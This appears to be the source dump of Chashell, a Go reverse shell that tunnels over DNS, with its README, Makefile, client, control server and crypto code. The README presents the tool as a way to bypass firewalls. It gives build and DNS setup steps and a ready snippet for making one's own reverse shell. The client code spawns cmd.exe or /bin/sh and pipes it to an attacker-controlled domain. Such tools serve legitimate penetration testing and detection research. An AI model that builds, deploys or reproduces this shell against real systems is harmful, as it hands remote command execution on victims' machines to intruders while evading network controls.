├── .gitignore ├── Gopkg.lock ├── Gopkg.toml ├── Makefile ├── README.md ├── cmd ├── server │ ├── chaserv.go │ └── cli.go └── shell │ └── chashell.go ├── img ├── chaserv.gif └── proto.png ├── lib ├── crypto │ └── symetric.go ├── logging │ ├── debug.go │ └── release.go ├── protocol │ └── chacomm.pb.go ├── splitting │ └── split.go └── transport │ ├── dnsclient.go │ ├── encoding.go │ ├── polling.go │ └── stream.go └── proto └── chacomm.proto /.gitignore: -------------------------------------------------------------------------------- 1 | .idea/ 2 | chaserv 3 | chaproxy.go 4 | vendor 5 | release/ 6 | -------------------------------------------------------------------------------- /Gopkg.lock: -------------------------------------------------------------------------------- 1 | # This file is autogenerated, do not edit; changes may be undone by the next 'dep ensure'. 2 | 3 | 4 | [[projects]] 5 | digest = "1:aa855bda8630186a6a2f33ac0142fd8c1644622af2e164bc3d8bbb69978b6467" 6 | name = "github.com/Jeffail/tunny" 7 | packages = ["."] 8 | pruneopts = "UT" 9 | revision = "4921fff29480bad359ad2fb3271fb461c8ffe1fc" 10 | version = "0.1.2" 11 | 12 | [[projects]] 13 | digest = "1:63586c59c82d8dcfc402e55fcf316813102551bcd84b564ee0a851cdeab5ad11" 14 | name = "github.com/c-bata/go-prompt" 15 | packages = ["."] 16 | pruneopts = "UT" 17 | revision = "4b35da6de174f52d037dc6e9008772ef31990ed3" 18 | version = "v0.2.3" 19 | 20 | [[projects]] 21 | digest = "1:318f1c959a8a740366fce4b1e1eb2fd914036b4af58fbd0a003349b305f118ad" 22 | name = "github.com/golang/protobuf" 23 | packages = ["proto"] 24 | pruneopts = "UT" 25 | revision = "b5d812f8a3706043e23a9cd5babf2e5423744d30" 26 | version = "v1.3.1" 27 | 28 | [[projects]] 29 | digest = "1:c658e84ad3916da105a761660dcaeb01e63416c8ec7bc62256a9b411a05fcd67" 30 | name = "github.com/mattn/go-colorable" 31 | packages = ["."] 32 | pruneopts = "UT" 33 | revision = "167de6bfdfba052fa6b2d3664c8f5272e23c9072" 34 | version = "v0.0.9" 35 | 36 | [[projects]] 37 | digest = "1:0981502f9816113c9c8c4ac301583841855c8cf4da8c72f696b3ebedf6d0e4e5" 38 | name = "github.com/mattn/go-isatty" 39 | packages = ["."] 40 | pruneopts = "UT" 41 | revision = "6ca4dbf54d38eea1a992b3c722a76a5d1c4cb25c" 42 | version = "v0.0.4" 43 | 44 | [[projects]] 45 | branch = "master" 46 | digest = "1:5e6d66b03ec2df7ce14d19ad75f35d189ae56d5169813fb20eca4d076d81d37e" 47 | name = "github.com/mattn/go-runewidth" 48 | packages = ["."] 49 | pruneopts = "UT" 50 | revision = "703b5e6b11ae25aeb2af9ebb5d5fdf8fa2575211" 51 | 52 | [[projects]] 53 | branch = "master" 54 | digest = "1:11bcfda807929a34ceb3738c9b0145358d1c58ed00acecb25b27fe432b404135" 55 | name = "github.com/mattn/go-tty" 56 | packages = ["."] 57 | pruneopts = "UT" 58 | revision = "e4f871175a2f903ed2e6353334fdccb507c1d09e" 59 | 60 | [[projects]] 61 | digest = "1:d64a0aa67f715fd28f5ddfe0d74c06b6d6fe0fed931d77e662f2c4694f6854dc" 62 | name = "github.com/miekg/dns" 63 | packages = ["."] 64 | pruneopts = "UT" 65 | revision = "56be65265e34e731425e0269a301774938827c60" 66 | version = "v1.1.3" 67 | 68 | [[projects]] 69 | branch = "master" 70 | digest = "1:fcb0de0dfbff6314fa0eb3672942d86054a713922b7c1bb0a690f59e6fe1ae3c" 71 | name = "github.com/pkg/term" 72 | packages = ["termios"] 73 | pruneopts = "UT" 74 | revision = "aa71e9d9e942418fbb97d80895dcea70efed297c" 75 | 76 | [[projects]] 77 | digest = "1:2e76a73cb51f42d63a2a1a85b3dc5731fd4faf6821b434bd0ef2c099186031d6" 78 | name = "github.com/rs/xid" 79 | packages = ["."] 80 | pruneopts = "UT" 81 | revision = "15d26544def341f036c5f8dca987a4cbe575032c" 82 | version = "v1.2.1" 83 | 84 | [[projects]] 85 | branch = "master" 86 | digest = "1:10f65eaf0598d737cb641eba789645838b99c901ecb12ebb19d9273a153bbb4c" 87 | name = "golang.org/x/crypto" 88 | packages = [ 89 | "ed25519", 90 | "ed25519/internal/edwards25519", 91 | "internal/subtle", 92 | "nacl/secretbox", 93 | "poly1305", 94 | "salsa20/salsa", 95 | ] 96 | pruneopts = "UT" 97 | revision = "b01c7a72566457eb1420261cdafef86638fc3861" 98 | 99 | [[projects]] 100 | branch = "master" 101 | digest = "1:19beed19e4246df7aff387a2bcd4519a386e3fe9637690031c4d4b0cf75f7215" 102 | name = "golang.org/x/net" 103 | packages = [ 104 | "bpf", 105 | "internal/iana", 106 | "internal/socket", 107 | "ipv4", 108 | "ipv6", 109 | ] 110 | pruneopts = "UT" 111 | revision = "d26f9f9a57f3fab6a695bec0d84433c2c50f8bbf" 112 | 113 | [[projects]] 114 | branch = "master" 115 | digest = "1:7c3cf8f9e513ba8a0bd2f2c694646397a45e9d7458e61fabd774abb0f6149372" 116 | name = "golang.org/x/sys" 117 | packages = ["unix"] 118 | pruneopts = "UT" 119 | revision = "302c3dd5f1cc82baae8e44d9c3178e89b6e2b345" 120 | 121 | [solve-meta] 122 | analyzer-name = "dep" 123 | analyzer-version = 1 124 | input-imports = [ 125 | "github.com/Jeffail/tunny", 126 | "github.com/c-bata/go-prompt", 127 | "github.com/golang/protobuf/proto", 128 | "github.com/miekg/dns", 129 | "github.com/rs/xid", 130 | "golang.org/x/crypto/nacl/secretbox", 131 | ] 132 | solver-name = "gps-cdcl" 133 | solver-version = 1 134 | -------------------------------------------------------------------------------- /Gopkg.toml: -------------------------------------------------------------------------------- 1 | # Gopkg.toml example 2 | # 3 | # Refer to https://golang.github.io/dep/docs/Gopkg.toml.html 4 | # for detailed Gopkg.toml documentation. 5 | # 6 | # required = ["github.com/user/thing/cmd/thing"] 7 | # ignored = ["github.com/user/project/pkgX", "bitbucket.org/user/project/pkgA/pkgY"] 8 | # 9 | # [[constraint]] 10 | # name = "github.com/user/project" 11 | # version = "1.0.0" 12 | # 13 | # [[constraint]] 14 | # name = "github.com/user/project2" 15 | # branch = "dev" 16 | # source = "github.com/myfork/project2" 17 | # 18 | # [[override]] 19 | # name = "github.com/x/y" 20 | # version = "2.4.0" 21 | # 22 | # [prune] 23 | # non-go = false 24 | # go-tests = true 25 | # unused-packages = true 26 | 27 | 28 | [[constraint]] 29 | name = "github.com/Jeffail/tunny" 30 | version = "0.1.2" 31 | 32 | [[constraint]] 33 | name = "github.com/c-bata/go-prompt" 34 | version = "0.2.3" 35 | 36 | [[constraint]] 37 | name = "github.com/golang/protobuf" 38 | version = "1.3.1" 39 | 40 | [[constraint]] 41 | name = "github.com/miekg/dns" 42 | version = "1.1.3" 43 | 44 | [[constraint]] 45 | name = "github.com/rs/xid" 46 | version = "1.2.1" 47 | 48 | [[constraint]] 49 | branch = "master" 50 | name = "golang.org/x/crypto" 51 | 52 | [prune] 53 | go-tests = true 54 | unused-packages = true 55 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | 2 | SERVER_SOURCE=./cmd/server 3 | CLIENT_SOURCE=./cmd/shell 4 | LDFLAGS="-X main.targetDomain=$(DOMAIN_NAME) -X main.encryptionKey=$(ENCRYPTION_KEY) -s -w" 5 | GCFLAGS="all=-trimpath=$GOPATH" 6 | 7 | CLIENT_BINARY=chashell 8 | SERVER_BINARY=chaserv 9 | TAGS=release 10 | 11 | OSARCH = "linux/amd64 linux/386 linux/arm windows/amd64 windows/386 darwin/amd64 darwin/386" 12 | 13 | .DEFAULT: help 14 | 15 | help: ## Show Help 16 | @grep -E '^[a-zA-Z_-]+:.*?## .*$$' $(MAKEFILE_LIST) | awk 'BEGIN {FS = ":.*?## "}; {printf "\033[36m%-30s\033[0m %s\n", $$1, $$2}' 17 | 18 | check-env: ## Check if necessary environment variables are set. 19 | ifndef DOMAIN_NAME 20 | $(error DOMAIN_NAME is undefined) 21 | endif 22 | ifndef ENCRYPTION_KEY 23 | $(error ENCRYPTION_KEY is undefined) 24 | endif 25 | 26 | build: check-env ## Build for the current architecture. 27 | dep ensure && \ 28 | go build -ldflags $(LDFLAGS) -gcflags $(GCFLAGS) -tags $(TAGS) -o release/$(CLIENT_BINARY) $(CLIENT_SOURCE) && \ 29 | go build -ldflags $(LDFLAGS) -gcflags $(GCFLAGS) -tags $(TAGS) -o release/$(SERVER_BINARY) $(SERVER_SOURCE) 30 | 31 | dep: check-env ## Get all the required dependencies 32 | go get -v -u github.com/golang/dep/cmd/dep && \ 33 | go get github.com/mitchellh/gox 34 | 35 | build-client: check-env ## Build the chashell client. 36 | @echo "Building shell" 37 | dep ensure && \ 38 | gox -osarch=$(OSARCH) -ldflags=$(LDFLAGS) -gcflags=$(GCFLAGS) -tags $(TAGS) -output "release/chashell_{{.OS}}_{{.Arch}}" ./cmd/shell 39 | 40 | build-server: check-env ## Build the chashell server. 41 | @echo "Building server" 42 | dep ensure && \ 43 | gox -osarch=$(OSARCH) -ldflags=$(LDFLAGS) -gcflags=$(GCFLAGS) -tags $(TAGS) -output "release/chaserv_{{.OS}}_{{.Arch}}" ./cmd/server 44 | 45 | 46 | build-all: check-env build-client build-server ## Build everything. 47 | 48 | proto: ## Build the protocol buffer file 49 | protoc -I=proto/ --go_out=lib/protocol chacomm.proto 50 | 51 | clean: ## Remove all the generated binaries 52 | rm -f release/chaserv* 53 | rm -f release/chashell* 54 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Chashell 2 | 3 | ## Reverse Shell over DNS 4 | 5 | Chashell is a [Go](https://golang.org/) reverse shell that communicates over DNS. 6 | It can be used to bypass firewalls or tightly restricted networks. 7 | 8 | It comes with a multi-client control server, named `chaserv`. 9 | 10 | ![Chaserv](img/chaserv.gif) 11 | 12 | ### Communication security 13 | 14 | Every packet is encrypted using symmetric cryptography ([XSalsa20](https://en.wikipedia.org/wiki/Salsa20) + [Poly1305](https://en.wikipedia.org/wiki/Poly1305)), with a shared key between the client 15 | and the server. 16 | 17 | We plan to implement asymmetric cryptography in the future. 18 | 19 | ### Protocol 20 | 21 | Chashell communicates using [Protocol Buffers](https://developers.google.com/protocol-buffers/) serialized messages. For reference, the Protocol Buffers structure (`.proto` file) is available in the `proto` folder. 22 | 23 | Here is a (simplified) communication chart : 24 | 25 | ![Protocol](img/proto.png) 26 | 27 | Keep in mind that every packet is encrypted, hex-encoded and then packed for DNS transportation. 28 | 29 | ### Supported systems 30 | 31 | Chashell should work with any desktop system (Windows, Linux, Darwin, BSD variants) that is supported by the Go compiler. 32 | 33 | We tested those systems and it works without issues : 34 | 35 | * Windows (386/amd64) 36 | * Linux (386/amd64/arm64) 37 | * OS X (386/amd64) 38 | 39 | ### How to use Chaserv/Chashell 40 | 41 | #### Building 42 | 43 | Make sure the [GOPATH](https://github.com/golang/go/wiki/GOPATH) environment variable is correctly configured before running these commands. 44 | 45 | Build all the binaries (adjust the domain_name and the encryption_key to your needs): 46 | 47 | 48 | ``` 49 | $ export ENCRYPTION_KEY=$(python -c 'from os import urandom; print(urandom(32).encode("hex"))') 50 | $ export DOMAIN_NAME=c.sysdream.com 51 | $ make build-all 52 | ``` 53 | 54 | Build for a specific platform: 55 | 56 | ``` 57 | $ make build-all OSARCH="linux/arm" 58 | ``` 59 | 60 | Build only the server: 61 | 62 | ``` 63 | $ make build-server 64 | ``` 65 | 66 | Build only the client (*chashell* itself): 67 | 68 | ``` 69 | $ make build-client 70 | ``` 71 | 72 | #### DNS Settings 73 | 74 | * Buy and configure a domain name of your choice (preferably short). 75 | * Set a DNS record like this : 76 | 77 | ``` 78 | chashell 300 IN A [SERVERIP] 79 | c 300 IN NS chashell.[DOMAIN]. 80 | ``` 81 | 82 | #### Usage 83 | 84 | Basically, on the server side (attacker's computer), you must use the `chaserv` binary. For the client side (i.e the target), use the `chashell` binary. 85 | 86 | So: 87 | 88 | * Run `chaserv` on the control server. 89 | * Run `chashell` on the target computer. 90 | 91 | The client should now connect back to `chaserv`: 92 | 93 | ``` 94 | [n.chatelain]$ sudo ./chaserv 95 | chashell >>> New session : 5c54404419e59881dfa3a757 96 | chashell >>> sessions 5c54404419e59881dfa3a757 97 | Interacting with session 5c54404419e59881dfa3a757. 98 | whoami 99 | n.chatelain 100 | ls / 101 | bin 102 | boot 103 | dev 104 | [...] 105 | usr 106 | var 107 | ``` 108 | 109 | Use the `sessions [sessionid]` command to interact with a client. 110 | When interacting with a session, you can use the `background` command in order to return to the `chashell` prompt. 111 | 112 | Use the `exit` command to close `chaserv`. 113 | 114 | ## Implement your own 115 | 116 | The `chashell/lib/transport` library is compatible with the `io.Reader` / `io.Writer` interface. So, implementing a reverse shell is as easy as : 117 | 118 | ```go 119 | cmd := exec.Command("/bin/sh") 120 | 121 | dnsTransport := transport.DNSStream(targetDomain, encryptionKey) 122 | 123 | cmd.Stdout = dnsTransport 124 | cmd.Stderr = dnsTransport 125 | cmd.Stdin = dnsTransport 126 | cmd.Run() 127 | ``` 128 | 129 | ## Debugging 130 | 131 | For more verbose messages, add `TAGS=debug` at the end of the make command. 132 | 133 | ## To Do 134 | 135 | * Implement asymmetric cryptography ([Curve25519](https://en.wikipedia.org/wiki/Curve25519), [XSalsa20](https://en.wikipedia.org/wiki/Salsa20) and [Poly1305](https://en.wikipedia.org/wiki/Poly1305)) 136 | * Retrieve the host name using the `InfoPacket` message. 137 | * Create a *proxy/relay* tool in order to tunnel TCP/UDP streams (Meterpreter over DNS !). 138 | * Better error handling. 139 | * Get rid of dependencies. 140 | 141 | ## Credits 142 | 143 | * Nicolas Chatelain -------------------------------------------------------------------------------- /cmd/server/chaserv.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bytes" 5 | "chashell/lib/crypto" 6 | "chashell/lib/logging" 7 | "chashell/lib/protocol" 8 | "encoding/hex" 9 | "fmt" 10 | "github.com/c-bata/go-prompt" 11 | "github.com/golang/protobuf/proto" 12 | "github.com/miekg/dns" 13 | "log" 14 | "os" 15 | "strconv" 16 | "strings" 17 | "sync" 18 | "time" 19 | ) 20 | 21 | // Store the current client GUID. 22 | var currentSession string 23 | 24 | // Those variables will be assigned during compile-time. 25 | var ( 26 | targetDomain string 27 | encryptionKey string 28 | ) 29 | 30 | // Store the data from clients received when not the active session. 31 | var consoleBuffer = map[string]*bytes.Buffer{} 32 | 33 | // Store the packets that will be sent when the client send a polling request. 34 | var packetQueue = map[string][]string{} 35 | 36 | // Store the sessions information. 37 | var sessionsMap = map[string]*clientInfo{} 38 | 39 | // Temporary store the polled query. Some DNS Servers will perform multiples DNS requests for one query. 40 | // We need to send the same query to every requests or the Chashell client will not receive the data. 41 | var pollCache = map[string]*pollTemporaryData{} 42 | 43 | type clientInfo struct { 44 | hostname string 45 | heartbeat int64 46 | mutex sync.Mutex 47 | conn map[int32]connData 48 | } 49 | 50 | type connData struct { 51 | chunkSize int32 52 | nonce []byte 53 | packets map[int32]string 54 | } 55 | 56 | type pollTemporaryData struct { 57 | lastseen int64 58 | data string 59 | } 60 | 61 | func (ci *clientInfo) getChunk(chunkID int32) connData { 62 | // Return the chunk identifier. 63 | return ci.conn[chunkID] 64 | 65 | } 66 | 67 | func parseQuery(m *dns.Msg) { 68 | for _, q := range m.Question { 69 | switch q.Qtype { 70 | // Make sure the request is a TXT question. 71 | case dns.TypeTXT: 72 | // Strip the target domain and every dots. 73 | dataPacket := strings.Replace(strings.Replace(q.Name, targetDomain, "", -1), ".", "", -1) 74 | 75 | // Hex-decode the packet. 76 | dataPacketRaw, err := hex.DecodeString(dataPacket) 77 | 78 | if err != nil { 79 | fmt.Printf("Unable to decode data packet : %s", dataPacket) 80 | } 81 | 82 | // Attempt to decrypt and authenticate the packet. 83 | output, valid := crypto.Open(dataPacketRaw[24:], dataPacketRaw[:24], encryptionKey) 84 | 85 | if !valid { 86 | fmt.Printf("Received invalid/corrupted packet. Dropping.\n") 87 | break 88 | } 89 | 90 | // Return the decoded protocol buffers packet. 91 | message := &protocol.Message{} 92 | if err := proto.Unmarshal(output, message); err != nil { 93 | log.Fatalln("Failed to parse message packet:", err) 94 | } 95 | 96 | // Generic answer. 97 | answer := "-" 98 | 99 | // Hex-encode the clientGUID to make it printable. 100 | clientGUID := hex.EncodeToString(message.Clientguid) 101 | 102 | if clientGUID == "" { 103 | fmt.Println("Invalid packet : empty clientGUID !") 104 | break 105 | } 106 | 107 | now := time.Now() 108 | 109 | // Check if the clientGUID exist in the session storage. 110 | session, valid := sessionsMap[clientGUID] 111 | 112 | // If this this a new client, create the associated session. 113 | if !valid { 114 | fmt.Printf("New session : %s\n", clientGUID) 115 | sessionsMap[clientGUID] = &clientInfo{heartbeat: now.Unix(), conn: make(map[int32]connData)} 116 | consoleBuffer[clientGUID] = &bytes.Buffer{} 117 | session = sessionsMap[clientGUID] 118 | } 119 | 120 | // Avoid race conditions. 121 | session.mutex.Lock() 122 | 123 | // Update the heartbeat of the session. 124 | session.heartbeat = now.Unix() 125 | 126 | // Identify the message type. 127 | switch u := message.Packet.(type) { 128 | case *protocol.Message_Pollquery: 129 | // Check if this DNS poll-request was already performed. 130 | temp, valid := pollCache[string(dataPacketRaw)] 131 | if valid { 132 | log.Println("Duplicated poll query received.") 133 | // Send already in cache data. 134 | answer = temp.data 135 | break 136 | } 137 | 138 | // Check if we have data to send. 139 | queue, valid := packetQueue[clientGUID] 140 | 141 | if valid && len(queue) > 0 { 142 | answer = queue[0] 143 | // Store answer in cache for DNS servers which are sending multiple queries. 144 | pollCache[string(dataPacketRaw)] = &pollTemporaryData{lastseen: now.Unix(), data: answer} 145 | // Dequeue. 146 | packetQueue[clientGUID] = queue[1:] 147 | } 148 | case *protocol.Message_Infopacket: 149 | session.hostname = string(u.Infopacket.Hostname) 150 | 151 | case *protocol.Message_Chunkstart: 152 | // Some DNS Servers will send multiple DNS queries, ignore duplicates. 153 | _, valid := session.conn[u.Chunkstart.Chunkid] 154 | if valid { 155 | log.Printf("Ignoring duplicated Chunkstart : %d\n", u.Chunkstart.Chunkid) 156 | break 157 | } 158 | 159 | // We need to allocate a new session in order to store incoming data. 160 | session.conn[u.Chunkstart.Chunkid] = connData{chunkSize: u.Chunkstart.Chunksize, packets: make(map[int32]string)} 161 | 162 | 163 | case *protocol.Message_Chunkdata: 164 | // Get the storage associated to the chunkId. 165 | connection := session.getChunk(u.Chunkdata.Chunkid) 166 | 167 | // Some DNS Servers will send multiple DNS queries, ignore duplicates. 168 | _, valid := connection.packets[u.Chunkdata.Chunknum] 169 | if valid { 170 | log.Printf("Ignoring duplicated Chunkdata : %v\n", u.Chunkdata) 171 | break 172 | } 173 | 174 | // Store the data packet. 175 | connection.packets[u.Chunkdata.Chunknum] = string(u.Chunkdata.Packet) 176 | 177 | // Check if we have successfully received all the packets. 178 | if len(connection.packets) == int(connection.chunkSize) { 179 | // Rebuild the final data. 180 | var chunkBuffer bytes.Buffer 181 | for i := 0; i <= int(connection.chunkSize)-1; i++ { 182 | chunkBuffer.WriteString(connection.packets[int32(i)]) 183 | } 184 | 185 | // If the current session is the clientGUID, print the data directly. 186 | if currentSession == clientGUID { 187 | fmt.Printf("%s", chunkBuffer.Bytes()) 188 | } else { 189 | consoleBuffer[clientGUID].Write(chunkBuffer.Bytes()) 190 | } 191 | } 192 | 193 | 194 | default: 195 | fmt.Printf("Unknown message type received : %v\n", u) 196 | } 197 | // Unlock the mutex. 198 | session.mutex.Unlock() 199 | 200 | rr, _ := dns.NewRR(fmt.Sprintf("%s TXT %s", q.Name, answer)) 201 | m.Answer = append(m.Answer, rr) 202 | 203 | } 204 | 205 | } 206 | } 207 | 208 | func handleDNSRequest(w dns.ResponseWriter, r *dns.Msg) { 209 | 210 | m := new(dns.Msg) 211 | m.SetReply(r) 212 | m.Compress = false 213 | 214 | switch r.Opcode { 215 | case dns.OpcodeQuery: 216 | parseQuery(m) 217 | } 218 | 219 | w.WriteMsg(m) 220 | } 221 | 222 | func main() { 223 | 224 | go func() { 225 | // attach request handler func 226 | dns.HandleFunc(targetDomain, handleDNSRequest) 227 | 228 | // start server 229 | port := 53 230 | server := &dns.Server{Addr: ":" + strconv.Itoa(port), Net: "udp"} 231 | 232 | log.Printf("Starting DNS Listener %d\n", port) 233 | err := server.ListenAndServe() 234 | defer server.Shutdown() 235 | if err != nil { 236 | fmt.Printf("Failed to start server: %s\n ", err.Error()) 237 | os.Exit(1) 238 | } 239 | }() 240 | 241 | // Timeout checking loop 242 | go func() { 243 | for { 244 | time.Sleep(1 * time.Second) 245 | now := time.Now() 246 | for clientGUID, session := range sessionsMap { 247 | if session.heartbeat+30 < now.Unix() { 248 | fmt.Printf("Client timed out [%s].\n", clientGUID) 249 | // Delete from sessions list. 250 | delete(sessionsMap, clientGUID) 251 | // Delete all queued packets. 252 | delete(packetQueue, clientGUID) 253 | } 254 | } 255 | } 256 | }() 257 | 258 | // Poll-cache cleaner 259 | go func() { 260 | for { 261 | time.Sleep(1 * time.Second) 262 | now := time.Now() 263 | for pollData, cache := range pollCache { 264 | if cache.lastseen + 10 < now.Unix() { 265 | logging.Printf("Dropping cached poll query : %v\n", pollData) 266 | // Delete from poll cache list. 267 | delete(pollCache, pollData) 268 | } 269 | } 270 | } 271 | }() 272 | 273 | p := prompt.New(executor, Completer, prompt.OptionPrefix("chashell >>> ")) 274 | p.Run() 275 | } 276 | -------------------------------------------------------------------------------- /cmd/server/cli.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bufio" 5 | "chashell/lib/transport" 6 | "fmt" 7 | "github.com/c-bata/go-prompt" 8 | "os" 9 | "strings" 10 | ) 11 | 12 | func interact(sessionID string) { 13 | buffer, dataAvailable := consoleBuffer[sessionID] 14 | if dataAvailable && buffer.Len() > 0 { 15 | fmt.Println(buffer.String()) 16 | } 17 | delete(consoleBuffer, sessionID) 18 | 19 | currentSession = sessionID 20 | scanner := bufio.NewScanner(os.Stdin) 21 | for scanner.Scan() { 22 | if scanner.Text() == "background" { 23 | return 24 | } 25 | initPacket, dataPackets := transport.Encode([]byte(scanner.Text()+"\n"), false, encryptionKey, targetDomain, nil) 26 | _, valid := packetQueue[sessionID] 27 | if !valid { 28 | packetQueue[sessionID] = make([]string, 0) 29 | } 30 | packetQueue[sessionID] = append(packetQueue[sessionID], initPacket) 31 | for _, packet := range dataPackets { 32 | packetQueue[sessionID] = append(packetQueue[sessionID], packet) 33 | } 34 | 35 | } 36 | if err := scanner.Err(); err != nil { 37 | fmt.Fprintln(os.Stderr, "reading standard input:", err) 38 | } 39 | } 40 | 41 | var commands = []prompt.Suggest{ 42 | {Text: "sessions", Description: "Interact with the specified machine."}, 43 | {Text: "exit", Description: "Stop the Chashell Server"}, 44 | } 45 | 46 | func Completer(d prompt.Document) []prompt.Suggest { 47 | if d.TextBeforeCursor() == "" { 48 | return []prompt.Suggest{} 49 | } 50 | args := strings.Split(d.TextBeforeCursor(), " ") 51 | 52 | return argumentsCompleter(args) 53 | } 54 | 55 | func argumentsCompleter(args []string) []prompt.Suggest { 56 | if len(args) <= 1 { 57 | return prompt.FilterHasPrefix(commands, args[0], true) 58 | } 59 | 60 | first := args[0] 61 | switch first { 62 | case "sessions": 63 | second := args[1] 64 | if len(args) == 2 { 65 | sessions := []prompt.Suggest{} 66 | for clientGUID, clientInfo := range sessionsMap { 67 | sessions = append(sessions, prompt.Suggest{Text: clientGUID, Description: clientInfo.hostname}) 68 | } 69 | 70 | return prompt.FilterHasPrefix(sessions, second, true) 71 | } 72 | 73 | } 74 | return []prompt.Suggest{} 75 | } 76 | 77 | func executor(in string) { 78 | args := strings.Split(in, " ") 79 | if len(args) > 0 { 80 | switch args[0] { 81 | case "exit": 82 | fmt.Println("Exiting.") 83 | os.Exit(0) 84 | case "sessions": 85 | if len(args) == 2 { 86 | fmt.Printf("Interacting with session %s.\n", args[1]) 87 | interact(args[1]) 88 | } else { 89 | fmt.Println("sessions [id]") 90 | } 91 | } 92 | } 93 | } 94 | -------------------------------------------------------------------------------- /cmd/shell/chashell.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "chashell/lib/transport" 5 | "os/exec" 6 | "runtime" 7 | ) 8 | 9 | var ( 10 | targetDomain string 11 | encryptionKey string 12 | ) 13 | 14 | func main() { 15 | var cmd *exec.Cmd 16 | 17 | if runtime.GOOS == "windows" { 18 | cmd = exec.Command("cmd.exe") 19 | } else { 20 | cmd = exec.Command("/bin/sh", "-c", "/bin/sh") 21 | } 22 | 23 | dnsTransport := transport.DNSStream(targetDomain, encryptionKey) 24 | 25 | cmd.Stdout = dnsTransport 26 | cmd.Stderr = dnsTransport 27 | cmd.Stdin = dnsTransport 28 | cmd.Run() 29 | } 30 | 31 | -------------------------------------------------------------------------------- /img/chaserv.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sysdream/chashell/7ecc27a90b046fc6ec7b7f91476438923d479b09/img/chaserv.gif -------------------------------------------------------------------------------- /img/proto.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sysdream/chashell/7ecc27a90b046fc6ec7b7f91476438923d479b09/img/proto.png -------------------------------------------------------------------------------- /lib/crypto/symetric.go: -------------------------------------------------------------------------------- 1 | package crypto 2 | 3 | import ( 4 | "crypto/rand" 5 | "encoding/hex" 6 | "golang.org/x/crypto/nacl/secretbox" 7 | "io" 8 | ) 9 | 10 | func Seal(payload []byte, secretKey string) (nonce [24]byte, message []byte) { 11 | // Generate a 24 byte nonce 12 | if _, err := io.ReadFull(rand.Reader, nonce[:]); err != nil { 13 | panic(err) 14 | } 15 | 16 | // Seal message using XSalsa20 + Poly1305 17 | var secret [32]byte 18 | 19 | // Decode the symetric encryption key. 20 | secretKeyBytes, err := hex.DecodeString(secretKey) 21 | if err != nil { 22 | panic(err) 23 | } 24 | 25 | copy(secret[:], secretKeyBytes) 26 | 27 | message = secretbox.Seal(nil, payload, &nonce, &secret) 28 | return 29 | } 30 | 31 | func Open(payload []byte, in_nonce []byte, secretKey string) (output []byte, valid bool) { 32 | // Seal message using XSalsa20 + Poly1305 33 | var secret [32]byte 34 | var nonce [24]byte 35 | var out []byte 36 | 37 | // Decode the symetric encryption key. 38 | secretKeyBytes, err := hex.DecodeString(secretKey) 39 | if err != nil { 40 | panic(err) 41 | } 42 | 43 | copy(secret[:], secretKeyBytes) 44 | 45 | copy(nonce[:], in_nonce) 46 | 47 | output, valid = secretbox.Open(out, payload, &nonce, &secret) 48 | return 49 | } 50 | -------------------------------------------------------------------------------- /lib/logging/debug.go: -------------------------------------------------------------------------------- 1 | // +build debug 2 | 3 | package logging 4 | 5 | import "log" 6 | 7 | func Debug(fmt string, args ...interface{}) { 8 | log.Printf(fmt, args...) 9 | } 10 | 11 | func Printf(fmt string, args ...interface{}) { 12 | log.Printf(fmt, args...) 13 | } 14 | 15 | func Fatal(args ...interface{}) { 16 | log.Fatal(args...) 17 | } 18 | 19 | func Fatalf(fmt string, args ...interface{}) { 20 | log.Fatalf(fmt, args...) 21 | } 22 | 23 | func Println(v ...interface{}){ 24 | log.Println(v...) 25 | } -------------------------------------------------------------------------------- /lib/logging/release.go: -------------------------------------------------------------------------------- 1 | // +build !debug 2 | 3 | 4 | package logging 5 | 6 | func Debug(fmt string, args ...interface{}) { } 7 | func Printf(fmt string, args ...interface{}) { } 8 | func Fatal(fmt string, args ...interface{}) { } 9 | func Println(v ...interface{}) { } 10 | func Fatalf(fmt string, args ...interface{}) {} -------------------------------------------------------------------------------- /lib/protocol/chacomm.pb.go: -------------------------------------------------------------------------------- 1 | // Code generated by protoc-gen-go. DO NOT EDIT. 2 | // source: chacomm.proto 3 | 4 | package protocol 5 | 6 | import ( 7 | fmt "fmt" 8 | proto "github.com/golang/protobuf/proto" 9 | math "math" 10 | ) 11 | 12 | // Reference imports to suppress errors if they are not otherwise used. 13 | var _ = proto.Marshal 14 | var _ = fmt.Errorf 15 | var _ = math.Inf 16 | 17 | // This is a compile-time assertion to ensure that this generated file 18 | // is compatible with the proto package it is being compiled against. 19 | // A compilation error at this line likely means your copy of the 20 | // proto package needs to be updated. 21 | const _ = proto.ProtoPackageIsVersion3 // please upgrade the proto package 22 | 23 | type Message struct { 24 | Clientguid []byte `protobuf:"bytes,1,opt,name=clientguid,proto3" json:"clientguid,omitempty"` 25 | // Types that are valid to be assigned to Packet: 26 | // *Message_Chunkstart 27 | // *Message_Chunkdata 28 | // *Message_Pollquery 29 | // *Message_Infopacket 30 | Packet isMessage_Packet `protobuf_oneof:"packet"` 31 | XXX_NoUnkeyedLiteral struct{} `json:"-"` 32 | XXX_unrecognized []byte `json:"-"` 33 | XXX_sizecache int32 `json:"-"` 34 | } 35 | 36 | func (m *Message) Reset() { *m = Message{} } 37 | func (m *Message) String() string { return proto.CompactTextString(m) } 38 | func (*Message) ProtoMessage() {} 39 | func (*Message) Descriptor() ([]byte, []int) { 40 | return fileDescriptor_d953d7eba1c19408, []int{0} 41 | } 42 | 43 | func (m *Message) XXX_Unmarshal(b []byte) error { 44 | return xxx_messageInfo_Message.Unmarshal(m, b) 45 | } 46 | func (m *Message) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { 47 | return xxx_messageInfo_Message.Marshal(b, m, deterministic) 48 | } 49 | func (m *Message) XXX_Merge(src proto.Message) { 50 | xxx_messageInfo_Message.Merge(m, src) 51 | } 52 | func (m *Message) XXX_Size() int { 53 | return xxx_messageInfo_Message.Size(m) 54 | } 55 | func (m *Message) XXX_DiscardUnknown() { 56 | xxx_messageInfo_Message.DiscardUnknown(m) 57 | } 58 | 59 | var xxx_messageInfo_Message proto.InternalMessageInfo 60 | 61 | func (m *Message) GetClientguid() []byte { 62 | if m != nil { 63 | return 